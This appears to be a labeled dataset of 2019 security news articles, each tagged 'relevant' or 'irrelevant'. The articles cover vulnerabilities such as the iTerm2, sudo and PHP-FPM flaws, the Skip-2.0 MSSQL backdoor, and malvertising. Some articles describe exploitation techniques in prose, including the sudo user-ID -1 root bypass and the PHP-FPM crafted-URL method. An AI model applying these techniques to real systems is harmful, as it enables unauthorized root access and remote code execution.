"Facebook Now Pays Hackers for Reporting Security Bugs in 3rd-Party Apps Following a series of security mishaps and data abuse through its social media platform, Facebook today expanding its bug bounty program in a very unique way to beef up the security of third-party apps and websites that integrate with its platform. Last year, Facebook launched ""Data Abuse Bounty"" program to reward anyone who reports valid events of 3rd-party apps collecting Facebook users' data and passing it off to malicious parties, violating Facebook's revamped data policies. Apparently, it turns out that most of the time, Facebook users' data that had been misused was exposed in the first place as the result of a vulnerability or security weakness in third-party apps or services. The Facebook ecosystem contains millions of third-party apps, and unfortunately, very few of them have a vulnerability disclosure program or offer bug bounty rewards to white-hat hackers for responsibly reporting bugs in their codebase. Because of this communication gap between researchers and the affected app developers, Facebook's security programs for 3rd-party apps and websites were, until now, just limited to ""passively observing the vulnerabilities."" Though Facebook already once expanded its bug bounty program for 3rd-party apps late last year, the scheme was only limited to valid report submissions for the exposure of Facebook users' access tokens that allow people to log into another app using Facebook. Efforts to Encourage Collaboration b/w Hackers and Developers Now, to encourage third-party app developers to take the security of their apps more seriously and set up a vulnerability disclosure program, Facebook has decided to pay white-hat researchers from its own pocket even if app developers don't have their own bounty program. ""Although these bugs aren't related to our own code, we want researchers to have a clear channel to report these issues if they could lead to our users' data potentially being misused,"" Facebook says. ""We also want to incentivize researchers to focus on apps, websites, and bug bounty programs that otherwise may not get as much attention or may not have resources to incentivize the bug bounty community."" ""By committing to rewarding valid reports about bugs in third-party apps and websites that impact Facebook data, we hope to encourage the security community to engage with more app developers."" In other words, app developers can take advantage of this program by simply setting up their own vulnerability disclosure policy, which would then help researchers to be eligible for finding bugs in their code and claim rewards from Facebook. That's because a report of a vulnerability in third-party apps submitted to Facebook will only be considered valid when researchers include proof of authorization granted by the third-party developer when submitting their reports to Facebook's bug bounty program. However, if the third-party developers already have their own bug bounty program, researchers can claim rewards from both parties. Reward from Facebook will be issued depending upon the potential impact and severity of the responsibly reported vulnerability, with a minimum payout of $500. Bug bounty programs for data abuse and 3rd-party apps affecting the whole ecosystem are a growing trend in cybersecurity. Most recently, Google also expanded its Pay Store bounty program to reward hackers for finding bugs in any Android app that has more than 100 million downloads. However, in that case, Google takes responsibility to collaborate with app developers, while Facebook's latest scheme is also a great way to let researchers directly work with third-party developers.",irrelevant
"Firefox Blocks Inline and Eval JavaScript on Internal Pages to Prevent Injection Attacks In an effort to mitigate a large class of potential cross-site scripting issues in Firefox, Mozilla has blocked execution of all inline scripts and potentially dangerous eval-like functions for built-in ""about: pages"" that are the gateway to sensitive preferences, settings, and statics of the browser. Firefox browser has 45 such internal locally-hosted about pages, some of which are listed below that you might have noticed or used at some point: about:config — panel to modify Firefox preferences and critical settings. about:downloads — your recent downloads done within Firefox. about:memory — shows the memory usage of Firefox. about:newtab — the default new tab page. about:plugins — lists all your plugins as well as other useful information. about:privatebrowsing — open a new private window. about:networking — displays networking information. To be noted, these changes do not affect how websites from the Internet work on the Firefox browser, but going forward, Mozilla vows to ""closely audit and evaluate"" the usages of harmful functions in 3rd-party extensions and other built-in mechanisms. Firefox Disabled Inline JavaScript for Security Since all these pages are written in HTML/JavaScript and renders in the security context of the browser itself, they are also prone to code injection attacks that, in case of a vulnerability, could allow remote attackers to inject and execute arbitrary code on behalf of the user, i.e., cross-site scripting (XSS) attacks. To add a robust first line of defense against code injection attacks, even when there is a vulnerability, Mozilla has blocked the execution of all inline scripts, thus injected scripts as well, by implementing a strict Content Security Policies (CSP) to ensure the JavaScript code only executes when loaded from a packaged resource using the internal protocol. To achieve this, Mozilla had to rewrite all inline event handlers and move all inline JavaScript code out-of-line into separate packaged files for all 45 about: pages. ""Not allowing any inline script in any of the about: pages limits the attack surface of arbitrary code execution and hence provides a strong first line of defense against code injection attacks,"" Mozilla said in a blog post published earlier today. NO EVAL, NO EVIL! When attackers can't inject script directly, they use the JavaScript function eval() and similar methods to trick the target applications into converting text into an executable JavaScript to achieve code injection. So, in addition to inline scripts, Mozilla has also removed and blocked eval-like functions, which the browser maker thinks is another ""dangerous tool,"" as it parses and executes an arbitrary string in the same security context as itself. ""If you run eval() with a string that could be affected by a malicious party, you may end up running malicious code on the user's machine with the permissions of your webpage/extension,"" Mozilla explains on its MDN web docs. Google also shares the same thought, as the tech giant says, ""eval is dangerous inside an extension because the code it executes has access to everything in the extension's high-permission environment."" For this, Mozilla rewrote all use of eval-like functions from system privileged contexts and the parent process in the codebase of its Firefox web browser. Besides this, the company also added eval() assertions that will disallow the use of eval() function and its relatives in system-privileged script contexts, and inform the Mozilla Security Team of yet unknown instances of eval().",irrelevant
"Two Hackers Who Extorted Money From Uber and LinkedIn Plead Guilty Two grey hat hackers have pleaded guilty to blackmailing Uber, LinkedIn, and other U.S. corporations for money in exchange for promises to delete data of millions of customers they had stolen in late 2016. In a San Jose courthouse in California on Wednesday, Brandon Charles Glover (26) of Florida and Vasile Mereacre (23) of Toronto admitted they accessed and downloaded confidential corporate databases on Amazon Web Services using stolen credentials. After downloading the data, the duo contacted affected companies to report security vulnerabilities and demanded money in exchange for the deletion of the data, according to a press release published by the US Justice Department. ""I was able to access backups upon backups, me and my team would like a huge reward for this,"" the hackers said to the victim company in an email. ""Please keep in mind, we expect a big payment as this was hard work for us, we already helped a big corp which paid close to 7 digits, all went well."" As The Hacker News reported two years ago, the hackers managed to inappropriately accessed and downloaded sensitive information of 57 million Uber riders and drivers, for which Uber reportedly paid the duo $100,000 in bitcoin in an attempt to cover up the breach. uber hacker ""The defendants used false names to communicate with the victim-corporations, and, on several occasions, informed the victim-corporations that they had been paid by other victim-corporations for identifying security vulnerabilities,"" the indictment reads. ""They also sent the victim-corporations a sample of the data in order for the victim-corporations to verify the authenticity of data."" The indictment also revealed that the duo blackmailed LinkedIn in the same way in December 2016, informing the company that they had compromised databases of LinkedIn's subsidiary Lynda.com and stole over 90,000 user records, including their credit card information. At that time, it was also reported that Uber sent its forensic team to the hackers' house in Florida and Canada to analyze their computers to make sure all the stolen data had been wiped and had the hackers also sign a non-disclosure agreement to prevent further wrongdoings. Uber waited a year to reveal the October 2016 data breach, for which it was later ordered by the attorneys general of all 50 states and the District of Columbia to pay $148 million across all 50 states and Washington DC to settle the investigation. British and Dutch data protection regulators also hit the ride-sharing company with a total fine of approximately $ 1.1 million for failing to protect its customers' personal information during a 2016 cyber attack. At the time, it was also reported that Uber hid the data breach incident from the U.S. Federal Trade Commission (FTC), which was investigating another hacking incident against the company, and only told the commission about the 2016 breach in late 2017 when the incident was made public. Glover and Mereacre each pleaded guilty to one charge of conspiracy to commit extortion and are set to face a maximum of five years in prison and a fine of $250,000 when they are sentenced. The duo has been released on bond and will be sentenced in March 2020.",irrelevant
"5 Places Where Hackers Are Stealthily Stealing Your Data In 2019 Skyrocketing data breaches bring incalculable losses to organizations and can cost cybersecurity executives their jobs. Here we examine the top five places in 2019 where cybercriminals are stealing corporate and government data without ever getting noticed and then learn how to avoid falling victim to unscrupulous attackers. 1. Misconfigured Cloud Storage 48% of all corporate data is stored in the cloud compared to 35% three years ago, according to a 2019 Global Cloud Security Study by cybersecurity company Thales that surveyed over 3,000 professionals across the globe. Contrastingly, only 32% of the organizations believe that protecting data in the cloud is their own responsibility, counting on cloud and IaaS providers to safeguard the data. Worse, 51% of the organizations do not use encryption or tokenization in the cloud. (ISC)² Cloud Security Report 2019 assets that 64% of cybersecurity professionals perceive data loss and leakage as the biggest risk associated with the cloud. Misuse of employee credentials and improper access controls are the top challenges for 42% of security professionals, while 34% struggle with compliance in the cloud, and 33% name lack of visibility into infrastructure security as their predominant concern. Negligent and careless third-parties are, however, probably the most hazardous pitfall that remains largely underestimated and thus disregarded. In 2019, Facebook, Microsoft, and Toyota were mercilessly stigmatized by the media for losing millions of customer records due to third-party leaks or breaches. Despite these alarming incidents, still few organizations have a well-thought, properly implemented, and continuously enforced third-party risk management program, most relying on paper-based questioners skipping practical verifications and continuous monitoring. How to mitigate: train your team, implement an organization-wide cloud security policy, continuously run discovery of public cloud storage to maintain an up2date inventory of your cloud infrastructure. 2. Dark Web Notorious Collection #1, revealed in 2019 by security expert Troy Hunt, is a set of email addresses and plaintext passwords totaling 2,692,818,238 rows. Anyone can anonymously purchase this data for Bitcoins without leaving a trace. Being one of the largest publicly known databases of stolen credentials, it is a mere slice of compromised data available for sale on Dark Web. Many organizations are hacked every day without being aware of this due to the complexity of the attacks or simple negligence, lack of resources or skills. Targeted password re-use attacks and spear phishing are simple to launch and do not require expensive 0day exploits. Although trivial at first glance, they may be piercingly efficient. Most organizations do not have a consistent password policy across their corporate resources, deploying SSO only to their central infrastructure. Secondary and auxiliary systems live their own lives, commonly with a poor or even missing password policy but with access to trade secrets and intellectual property. Given the multitude of such portals and resources, attackers meticulously try stolen credentials and eventually get what they seek. Importantly, such attacks are often technically undetectable due to insufficient monitoring or simply because they do not trigger usual anomalies just letting users in. Experienced hacking groups will carefully profile their victims before the attack to login from the same ISP sub-network and during the same hours outsmarting even the AI-enabled IDS systems underpinned by shrewd security analysts. How to mitigate: ensure digital assets visibility, implement holistic password policy and incident response plan, continuously monitor Dark Web and other resources for leaks and incidents. 3. Abandoned and Unprotected Websites According to 2019 research by a web security company ImmuniWeb, 97 out of 100 the world's largest banks have vulnerable websites and web applications. A wide spectrum of problems is attributed to uncontrolled usage of Open Source Software, outdated frameworks, and JS libraries, some of which contained exploitable vulnerabilities publicly known since 2011. The same report revealed that 25% of e-banking applications were not even protected with a Web Application Firewall (WAF). Eventually, 85% of applications failed GDPR compliance tests, 49% did not pass the PCI DSS test. In spite of the rise of Attack Surface Management (ASM) solutions, the majority of businesses incrementally struggle with the growing complexity and fluctuating intricacy of their external attack surfaces. Web applications dominate the list of abandoned or unknown assets being left by careless or overloaded developers. Demo and test releases rapidly proliferate across an organization, sporadically being connected to production databases with sensitive data. The next releases rapidly go live, while the previous ones remain in the wild for months. Understaffed security teams routinely have no time to track such rogue applications, relying on the security policies that half of the software engineers have never read. Even properly deployed web applications may be a time bomb if left unattended. Both Open Source and proprietary software make a buzz in Bugtraq with remarkable frequency bringing new and predominately easily-exploitable security flaws. With some exceptions, vendors are sluggish to release security patches compared to the speed of mass-hacking campaigns. Most popular CMS, such as WordPress or Drupal, are comparatively safe in their default installations, but the myriad of third-party plugins, themes, and extensions annihilate their security. How to mitigate: start with a free website security test for all your external-facing websites and continue with in-depth web penetration testing for the most critical web application and APIs. 4. Mobile Applications' Backends Modern businesses now generously invest in mobile application security, leveraging secure coding standards built into DevSecOps, SAST/DAST/IAST testing, and RASP protection enhanced with Vulnerability Correlation solutions. Sadly, most of these solutions tackle only the visible tip of the iceberg, leaving mobile application backend untested and unprotected. While most of the APIs used by the mobile application send or receive sensitive data, including confidential information, their privacy and security are widely forgotten or deprioritized, leading to unpardonable consequences. Likewise, large organizations commonly forget that previous versions of their mobile apps can be easily downloaded from the Internet and reverse-engineered. Such legacy applications are a true Klondike for hackers searching for abandoned and vulnerable APIs commonly still capable of providing access to an organization's crown jewels in an uncontrolled manner. Eventually, a great wealth of attacks become possible, from primitive but highly efficient brute-forcing to sophisticated authentication and authorization bypasses used for data scraping and theft. Usually, the most dangerous attacks, including SQL injections and RCEs, reside on the mobile backend side. Being unprotected even by a WAF, they are low-hanging fruit for pragmatic attackers. How to mitigate: build holistic API inventory, implement software testing policy, run a free mobile app security test on all your mobile apps and backends, conduct mobile penetration testing for critical ones. 5. Public Code Repositories Agile CI/CD practices are a great business enabler; however, if inadequately implemented, they swiftly morph into a disaster. Within this context, public code repositories are often the weakest link undermining organizational cybersecurity efforts. A recent example comes from the banking giant Scotiabank that reportedly stored highly sensitive data in publicly open and accessible GitHub repositories, exposing its internal source code, login credentials, and confidential access keys. Third-party software developers considerably exacerbate the situation in an attempt to provide the most competitive quote to unwitting and somewhat naïve customers. Cheap software is obviously not without substantial drawbacks, and poor security tops them. While few organizations manage to keep control over the software code quality and security by conducting automated scanning and a manual code review, virtually none are capable of monitoring how the source code is being stored and protected while the software is being developed and especially afterward. Human mistakes unsurprisingly predominate the space. Even exemplary organizations with mature and prof-tested security policies awkwardly slip because of human factors. Tough deadlines dictated by economic realities lead to overburdened and exhausted programmers who innocently forget to set a proper attribute on a newly created repository letting the troubles in. How to mitigate: implement a policy addressing code storage and access management, enforce it internally and for third-parties, continuously run public code repositories monitoring for leaks. Following this mitigation advice may save you countless sleepless nights and many millions for your organization. And lastly, do share information about Attack Surface Management (ASM) with your industry peers to enhance their security awareness and cybersecurity resilience.",irrelevant
"7-Year-Old Critical RCE Flaw Found in Popular iTerm2 macOS Terminal App A 7-year-old critical remote code execution vulnerability has been discovered in iTerm2 macOS terminal emulator app—one of the most popular open source replacements for Mac's built-in terminal app. Tracked as CVE-2019-9535, the vulnerability in iTerm2 was discovered as part of an independent security audit funded by the Mozilla Open Source Support Program (MOSS) and conducted by cybersecurity firm Radically Open Security (ROS). ""MOSS selected iTerm2 for a security audit because it processes untrusted data, and it is widely used, including by high-risk targets (like developers and system administrators),"" Mozilla says. According to a blog post published today by Mozilla, the RCE flaw resides in the tmux integration feature of iTerm2, which, if exploited, could allow an attacker to execute arbitrary commands by providing malicious output to the terminal. As shown in the video demonstration, potential attack vectors for this vulnerability include connecting to an attacker-controlled malicious SSH server, using commands like curl to fetch a malicious website, or using tail -f to follow a log file containing some malicious content. Besides this, the flaw can also be triggered using command-line utilities by tricking them into printing attacker-controlled content, eventually allowing attackers to execute arbitrary commands on the user's Mac computer. ""Typically, this vulnerability would require some degree of user interaction or trickery; but because it can be exploited via commands generally considered safe, there is a high degree of concern about the potential impact,"" Mozilla warns. The vulnerability affects iTerm2 versions up to and including 3.3.5 and has recently been patched with the release of iTerm2 3.3.6, which users can download manually or check for updates within your installed apps menu.",relevant
"Sudo Flaw Lets Linux Users Run Commands As Root Even When They're Restricted Attention Linux Users! A new vulnerability has been discovered in Sudo—one of the most important, powerful, and commonly used utilities that comes as a core command installed on almost every UNIX and Linux-based operating system. The vulnerability in question is a sudo security policy bypass issue that could allow a malicious user or a program to execute arbitrary commands as root on a targeted Linux system even when the ""sudoers configuration"" explicitly disallows the root access. Sudo, stands for ""superuser do,"" is a system command that allows a user to run applications or commands with the privileges of a different user without switching environments—most often, for running commands as the root user. By default on most Linux distributions, the ALL keyword in RunAs specification in /etc/sudoers file, as shown in the screenshot, allows all users in the admin or sudo groups to run any command as any valid user on the system. ubuntu sudoer file However, since privilege separation is one of the fundamental security paradigms in Linux, administrators can configure a sudoers file to define which users can run what commands as to which users. So, in a specific scenario where you have been allowed to run a specific, or any, command as any other user except the root, the vulnerability could still allow you to bypass this security policy and take complete control over the system as root. ""This can be used by a user with sufficient sudo privileges to run commands as root even if the Runas specification explicitly disallows root access as long as the ALL keyword is listed first in the Runas specification,"" the Sudo developers say. How to Exploit this Bug? Just Sudo User ID -1 or 4294967295 The vulnerability, tracked as CVE-2019-14287 and discovered by Joe Vennix of Apple Information Security, is more concerning because the sudo utility has been designed to let users use their own login password to execute commands as a different user without requiring their password. What's more interesting is that this flaw can be exploited by an attacker to run commands as root just by specifying the user ID ""-1"" or ""4294967295."" That's because the function which converts user id into its username incorrectly treats -1, or its unsigned equivalent 4294967295, as 0, which is always the user ID of root user. Linux root user hacking ""Additionally, because the user ID specified via the -u option does not exist in the password database, no PAM session modules will be run."" The vulnerability affects all Sudo versions prior to the latest released version 1.8.28, which has been released today, a few hours ago and would soon be rolled out as an update by various Linux distributions to their users. Since the attack works in a specific use case scenario of the sudoers configuration file, it should not affect a large number of users. However, if you use Linux, you are still highly recommended to update sudo package to the latest version as soon as it is available.",relevant
"Over A Billion Malicious Ad Impressions Exploit WebKit Flaw to Target Apple Users The infamous eGobbler hacking group that surfaced online earlier this year with massive malvertising campaigns has now been caught running a new campaign exploiting two browser vulnerabilities to show intrusive pop-up ads and forcefully redirect users to malicious websites. To be noted, hackers haven't found any way to run ads for free; instead, the modus operandi of eGobbler attackers involves high budgets to display billions of ad impressions on high profile websites through legit ad networks. But rather than relying on visitors' willful interaction with advertisements online, eGobbler uses browser (Chrome and Safari) exploits to achieve maximum click rate and successfully hijack as many users' sessions as possible. In its previous malvertising campaign, eGobbler group was exploiting a then-zero-day vulnerability (CVE-2019-5840) in Chrome for iOS back in April, which allowed them to successfully bypass browser's built-in pop-up blocker on iOS devices and hijack 500 million mobile user sessions in just a week to show pop-up ads. apple malware advertisement Malicious sample pop-up ad showing how attackers social engineer victims Though Google already patched the vulnerability with the release of Chrome 75 in June, eGobbler is still using the flaw to target those who haven't yet updated their Chrome browser. eGobbler Exploits WebKit Flaw to Redirect Users to Malicious Sites However, according to the latest report published by security firm Confiant, the eGobbler threat actors recently discovered and started exploiting a new vulnerability in WebKit, the browser engine used by Apple Safari browser for both iOS and macOS, Chrome for iOS and also by earlier versions of Chrome for desktop. The new WebKit exploit is more interesting because it doesn't require users to click anywhere on legit news, blog or informative websites they visit, neither it spawns any pop-up ad. Instead, the display ads sponsored by eGobbler leverage the WebKit exploit to forcefully redirect visitors to websites hosting fraudulent schemes or malware as soon as they press the ""key down"" or ""page down"" button on their keyboards while reading the content on the website. This is because the Webkit vulnerability actually resides in a JavaScript function, called the onkeydown event that occurs each time a user presses a key on the keyboard, that allows ads displayed within iframes to break out of security sandbox protections. ""This time around, however, the iOS Chrome pop-up was not spawning as before, but we were, in fact, experiencing redirections on WebKit browsers upon the 'onkeydown' event,"" the researchers said in their latest report. ""The nature of the bug is that a cross-origin nested iframe is able to 'autofocus' which bypasses the 'allow-top-navigation-by-user-activation' sandbox directive on the parent frame."" ""With the inner frame automatically focused, the keydown event becomes a user-activated navigation event, which renders the ad sandboxing entirely useless as a measure for forced redirect mitigation."" Though Apple's app store guidelines restrict all iOS apps with web browsing ability to use its WebKit framework, including for Google Chrome for iOS, mobile users are still less likely to be impacted by the redirection flaw as the 'onkeydown' event doesn't work on the mobile OS. malvertising However, the eGobbler payload, often delivered through popular CDN services, also includes code to trigger redirections when visitors of a targeted web application try to input something in a text area or search forms, likely ""to maximize the chances of hijacking these keypresses."" As researchers believe, ""this exploit was key in magnifying the impact of this attack."" Between August 1 and September 23, the threat actors have been seen serving their malicious code to a staggering volume of ads, which the researchers estimate to be up to 1.16 billion impressions. While the previous eGobbler malvertising campaign primarily targeted iOS users in the United States, the latest attack targeted users in Europe countries, with a majority being from Italy. Confiant privately reported the WebKit vulnerability to both the Google and Apple security teams. Apple fixed the flaw in WebKit with the release of iOS 13 on September 19 and in Safari browser 13.0.1 on September 24, while Google has yet to address it in Chrome.",relevant
"How MSPs can become Managed Detection and Response (MDR) Providers Managed detection and response (MDR) is one of the fastest-growing segments in the cybersecurity market. ESG research from April 2019 reveals that 27% of organizations are actively pursuing an MDR project, while another 11% plan to pursue an MDR project in the future. Cynet now enables service providers to add MDR to their portfolio and gain an important competitive advantage over competitors with Cynet 360 integrated offering of breach protection platform and CyOps 24\7 SOC team (Learn more here). MDR is a relatively new security service offering that emerged in recent years to assist the standard organization with a team of experts that provide 24\7 alert prioritization, investigation, and proactive threat hunting — tasks that are typically beyond its in-house capabilities. Cynet 360's complete coverage across endpoints, network, and user accounts makes it a tool of choice that provides MDR providers with real-time threat coverage across the entire environment with a single integrated platform. New Threats Lead to New Detection Solutions The security industry confronted the evolvement of the advanced threat landscape with various detection technologies that alert upon the identification of malicious presence or activity within the environment. These technologies—of which most prominent are EDR, Network Analytics, UBA, and Deception—introduced a high potential of improving organizations' security posture. The Security Skill Gap Deprives Detection Solution from Delivering Full Protection In practice, this potential is to a large extent not yet realized due to the high volume of alerts (often including a substantial false positive rate) and the required skills to both prioritize the critical ones as well as to proactively leverage the technologies to hunt for existing threats which are yet undetected. The bottom line is that there's a critical missing link in the efficient operation of the advanced detection products which, if not addressed, leaves organizations vulnerable to advanced attacks despite the security investments they make. MDR - Security Skills as a Service MDR has emerged to fill this gap. In essence, MDR services consist of a team of security experts that manage a 24\7 SOC to which all alerts are streamlined, prioritized, and analyzed. This greatly assists in reducing what is known as 'alert fatigue,' a term which refers to the overwhelming effect of multiple alerts that are way beyond the capacity of security teams' efficient handling. MDR serves as the front line that encounters the alerts, and due to their security skill and knowledge can easily determine what's important and what's not. Once the MDR team reaches a conclusion on what's going on, it contacts the customer to update and instruct on the required remediation steps. MDR Implemented Detection Technology – Essential Requirements To deliver the best of breed MDR services, the MDR provider must ensure that the detection technology it implements indeed covers all the environment core attack surfaces, namely the endpoints, network, and user accounts. Managed detection response cybersecurity Sample from CyOps MDR attack report This coverage manifests in both the ability to detect malicious activity regardless if it involves endpoint, network, or user accounts, as well as full visibility into all the activities in the environment to support its proactive investigation Cynet 360 for MDR Providers Cynet 360 the only platform today that provides endpoint, user, and network protection in a single natively integrated product. Following a rapid installation (5,000 endpoints in 1hr), Cynet 360 delivers high fidelity alerts across all main attack vectors — malware, exploits, and fileless attacks on endpoints, anomalous login, and connection of user accounts and network-based attacks such as ARP spoofing, lateral movement, and data exfiltration. Learn more about Cynet offering for MDR providers. Native Multitenancy for Easy Management Cynet 360 server fully supports multitenancy, enabling MDR to manage multiple customers from a single console. In practice, it means that the MDR needs to put a single, one-time deployment effort to set up the infrastructure and is them free to add any. Get Full Threat Visibility with Just One Product to Deploy Using Cynet 360, MDR providers can gain the benefit of the complete threat visibility that can otherwise be gained only by the conjoint operation of EDR, UBA, Network Analytics, and Deception technologies. This greatly increases the ability to scale and serve a multitude of customers without being held back by deployment and maintenance issues, focusing their primary efforts on alert handling and proactive threat hunting. High Precision Alerts Across all Main Attack Vectors Moreover, Cynet 360 continuous monitoring of endpoint, network, and use activities ensures that each activity is analyzed with its entire context reducing false positives to a minimum. It is often the case that a process execution cannot be determined as malicious or legit without taking into consideration the user account context or the initiated network traffic. Cynet 360's correlation engine easily unveils the threats that siloed detection solutions such as EDR, Network Analytics, or UBA would miss. CyOps – Augmenting the MDR Security team CyOps is Cynet's security researchers and threat analyst team that operates a 24\7 SOC, monitoring alerts, investigating malicious events, and proactively hunting for hidden threats. CyOps is an integral part of the Cynet 360 offering, which consists of 80\20 technology and services. MDR providers can take advantage of CyOps expertise and use it as an augmentation of their own team. In a similar manner, MSPs (managed service providers) who want to join the rapidly growing MDR market can utilize CyOps services in a white-label model while building up their own teams. Learn more about Cynet for MDR providers here.",irrelevant
"Microsoft Releases October 2019 Patch Tuesday Updates Microsoft today rolling out its October 2019 Patch Tuesday security updates to fix a total of 59 vulnerabilities in Windows operating systems and related software, 9 of which are rated as critical, 49 are important, and one is moderate in severity. What's good about this month's patch update is that after a very long time, none of the security vulnerabilities patched by the tech giant this month is being listed as publicly known or under active attack. Moreover, there is no roll-up patch for Adobe Flash Player bundled in Windows update for this month. Besides this, Microsoft has also put up a notice as a reminder for Windows 7 and Windows Server 2008 R2 users, warning them that the extended support for these two operating systems is about to end in the next two months and that they will no longer receive updates as of January 14, 2020. Two of the critical vulnerabilities patched this month are remote code execution flaws in the VBScript engine, and both exist in the way VBScript handles objects in memory, allowing attackers to corrupt memory and execute arbitrary code in the context of the current user. These two vulnerabilities, tracked as CVE-2019-1238 and CVE-2019-1239, can be exploited remotely by tricking victims into visiting a specially crafted website through Internet Explorer. An attacker can also exploit these issues using an application or Microsoft Office document by embedding an ActiveX control marked 'safe for initialization' that utilizes Internet Explorer rendering engine. Just like recent months, Microsoft has patched another reverse RDP attack, where attackers can take control over client computers connecting to a malicious RDP server by exploiting a critical remote code execution vulnerability in Windows built-in Remote Desktop Client application. Unlike the wormable BlueKeep vulnerability, the newly-patched RDP vulnerability is client-side, which requires an attacker to trick victims into connecting to a malicious RDP server via social engineering, DNS poisoning, or using a Man in the Middle (MITM) technique. Three critical RCE vulnerabilities are memory corruption flaws resides in the way Chakra scripting engine handles objects in memory in Microsoft Edge, whereas one critical RCE flaw is an elevation of privilege issue which exists when Azure App Service on Azure Stack fails to check the length of a buffer before copying memory to it. Other vulnerabilities patched by Microsoft this month and marked as important reside in the following Microsoft products and services: Microsoft Windows Internet Explorer Microsoft Edge ChakraCore Microsoft Office, Office Services and Web Apps SQL Server Management Studio Open Source Software Microsoft Dynamics 365 Windows Update Assistant Most of these vulnerabilities allow elevation of privilege, and some also lead to remote code execution attacks, while others allow information disclosure, cross-site scripting (XSS), security feature bypass, spoofing, tampering, and denial of service attacks. Windows users and system administrators are highly advised to apply the latest security patches as soon as possible in an attempt to keep cybercriminals and hackers away from taking control of their computers. For installing the latest Windows security updates, you can head on to Settings → Update & Security → Windows Update → Check for updates on your PC, or you can install the updates manually.",relevant
"Stealthy Microsoft SQL Server Backdoor Malware Spotted in the Wild Cybersecurity researchers claim to have discovered a previously undocumented backdoor specifically designed for Microsoft SQL servers that could allow a remote attacker to control an already compromised system stealthily. Dubbed Skip-2.0, the backdoor malware is a post-exploitation tool that runs in the memory and lets remote attackers connect to any account on the server running MSSQL version 11 and version 12 by using a ""magic password."" What's more? The malware manages to remain undetected on the victim's MSSQL Server by disabling the compromised machine's logging functions, event publishing, and audit mechanisms every time the ""magic password"" is used. With these capabilities, an attacker can stealthily copy, modify, or delete the content stored in a database, the impact of which varies from application to application integrated with targeted servers. ""This could be used, for example, to manipulate in-game currencies for financial gain. In-game currency database manipulations by Winnti operators have already been reported,"" researchers said. Chinese Hackers Created Microsoft SQL Server Backdoor cybersecurity mssql server hacking In its latest report published by cybersecurity firm ESET, researchers attributed the Skip-2.0 backdoor to a Chinese state-sponsored threat actor group called Winnti Group, as the malware contains multiple similarities to other known Winnti Group tools—in particular, PortReuse backdoor and ShadowPad. First documented by ESET earlier this month, PortReuse backdoor is a passive network implant for Windows that injects itself into a running process already listening on a TCP port, ""reusing"" an already open port, and waits for an incoming magic packet to trigger the malicious code. First seen during the supply-chain attack against software maker NetSarang in July 2017, ShadowPad is a Windows backdoor that attackers deploy on victim networks to gain flexible remote control capabilities. Like other Winnti Group payloads, Skip-2.0 also uses encrypted VMProtected launcher, custom packer, inner-loader injector and hooking framework to install the backdoor, and persists on the targeted system by exploiting a DLL hijacking vulnerability in a Windows process that belongs to a system startup service. Since the Skip-2.0 malware is a post-exploitation tool, an attacker first needs to compromise targeted MSSQL servers to have administrative privileges necessary to achieve persistence and stealthiness. ""Note that even though MSSQL Server 11 and 12 are not the most recent versions (released in 2012 and 2014, respectively), they are the most commonly used ones according to Censys's data,"" the researchers said.",relevant
"New PHP Flaw Could Let Attackers Hack Sites Running On Nginx Servers If you're running any PHP based website on NGINX server and have PHP-FPM feature enabled for better performance, then beware of a newly disclosed vulnerability that could allow unauthorized attackers to hack your website server remotely. The vulnerability, tracked as CVE-2019-11043, affects websites with certain configurations of PHP-FPM that is reportedly not uncommon in the wild and could be exploited easily as a proof-of-concept (PoC) exploit for the flaw has already been released publicly. PHP-FPM is an alternative PHP FastCGI implementation that offers advanced and highly-efficient processing for scripts written in PHP programming language. The main vulnerability is an ""env_path_info"" underflow memory corruption issue in the PHP-FPM module, and chaining it together with other issues could allow attackers to remotely execute arbitrary code on vulnerable web servers. The vulnerability was spotted by Andrew Danau, a security researcher at Wallarm while hunting for bugs in a Capture The Flag competition, which was then weaponized by two of his fellow researchers, Omar Ganiev and Emil Lerner, to develop a fully working remote code execution exploit. Which PHP-based websites are vulnerable to hackers? Though the publicly released PoC exploit is designed to specifically target vulnerable servers running PHP 7+ versions, the PHP-FPM underflow bug also affects earlier PHP versions and could be weaponized in a different way. In brief, a website is vulnerable, if: NGINX is configured to forward PHP pages requests to PHP-FPM processor, fastcgi_split_path_info directive is present in the configuration and includes a regular expression beginning with a '^' symbol and ending with a '$' symbol, PATH_INFO variable is defined with fastcgi_param directive, There are no checks like try_files $uri =404 or if (-f $uri) to determine whether a file exists or not. This vulnerable NGINX and PHP-FPM configuration looks like the following example: nginx php-fpm hacking Here, the fastcgi_split_path_info directive is used to split the URL of PHP web pages into two parts, the value of one help PHP-FPM engine to learn the script name and the other one contains its path info. How does PoC RCE exploit for PHP FPM work? According to the researchers, the sample regular expression, which defines the fastcgi_split_path_info directive, as shown, can be manipulated by using the newline character in a way that the split function eventually sets the path info empty. Next, since there is an arithmetic pointer in FPM code that incorrectly assumes that env_path_info has a prefix equal to the path to the php script without actually verifying the existence of the file on the server, the issue can be exploited by an attacker to overwrite data in the memory by requesting specially crafted URLs of the targeted websites. php-fpm hacking php-fpm code execution hack In the background, the PoC exploit [1 (PHuiP-FPizdaM), 2 ] researchers released chains together both these issues to manipulate the memory and add custom php.ini values, as shown in the screenshot, in the PHP-FPM configuration file of a targeted server, allowing attackers to execute arbitrary code using a web-shell. ""Using a carefully chosen length of the URL path and query string, an attacker can make path_info point precisely to the first byte of _fcgi_data_seg structure. Putting zero into it moves `char* pos` field backward, and following FCGI_PUTENV overwrites some data (including other fast cgi variables) with the script path,"" researchers said in a bug report submitted to the PHP project. ""Using this technique, I was able to create a fake PHP_VALUE fcgi variable and then use a chain of carefully chosen config values to get code execution."" PHP 7 updates released to patch FPM flaw The list of preconditions for successful exploitation, as mentioned above, is not uncommon because the vulnerable configurations are being used by some of the web hosting providers and available on the Internet as part of many PHP FPM tutorials. One such affected web hosting provider is Nextcloud who released an advisory yesterday warning its users that ""the default Nextcloud NGINX configuration is also vulnerable to this attack"" and recommending system administrators to take immediate actions. A Patch for this vulnerability was released just yesterday, almost a month after researchers reported it to the PHP developer team. Since the PoC exploit is already available and the patch released just yesterday, it's likely possible that hackers might have already started scanning the Internet in search for vulnerable websites. So, users are strongly advised to update PHP to the latest PHP 7.3.11 and PHP 7.2.24. Just do it, even if you are not using the vulnerable configuration.",relevant
